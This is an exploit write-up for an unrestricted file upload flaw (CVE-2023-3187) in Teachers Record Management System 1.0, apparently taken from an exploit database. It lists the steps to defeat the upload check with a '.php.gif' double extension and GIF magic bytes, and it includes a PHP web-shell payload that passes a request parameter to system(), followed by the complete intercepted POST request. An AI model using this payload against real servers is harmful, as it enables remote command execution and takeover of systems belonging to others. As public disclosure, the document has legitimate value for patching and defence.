Exploit Title: Teachers Record Management System 1.0 – File Upload Type Validation
Date: 17-01-2023
Vendor Homepage: <>
Software Link: <>
Version: 1.0
Tested on: Windows 11 + XAMPP
CVE : CVE-2023-3187

1. Login into Teacher-Account with the credentials “Username:”
Password: Test@123”
2. Navigate to Profile Section and edit the Profile Pic by clicking on Edit Image
3. Open the Burp-suite and Intercept the Edit Image Request
4. In POST Request Change the “ Filename “ from “ profile picture.png “ to “profile picture.php.gif ”
5. Change the **Content-type from “ image/png “ to “ image/gif “
6. And Add this **Payload** : `GIF89a <?php echo system($_REQUEST['dx']); ?>`
7. Where **GIF89a is the GIF magic bytes this bypass the file upload extension**
8. Below is the Burpsuite-POST Request for all the changes that I have made above

POST /trms/teacher/changeimage.php HTTP/1.1
Host: localhost
Content-Length: 442
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: <http://localhost>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryndAPYa0GGOxSUHdF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: <http://localhost/trms/teacher/changeimage.php>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=8alf0rbfjmhm3ddra7si0cv7qc
Connection: close

Content-Disposition: form-data; name="subjects"

John Doe
Content-Disposition: form-data; name="newpic"; filename="profile picture.php.gif"
Content-Type: image/gif

GIF89a <?php echo system($_REQUEST['dx']); ?>

Content-Disposition: form-data; name="submit"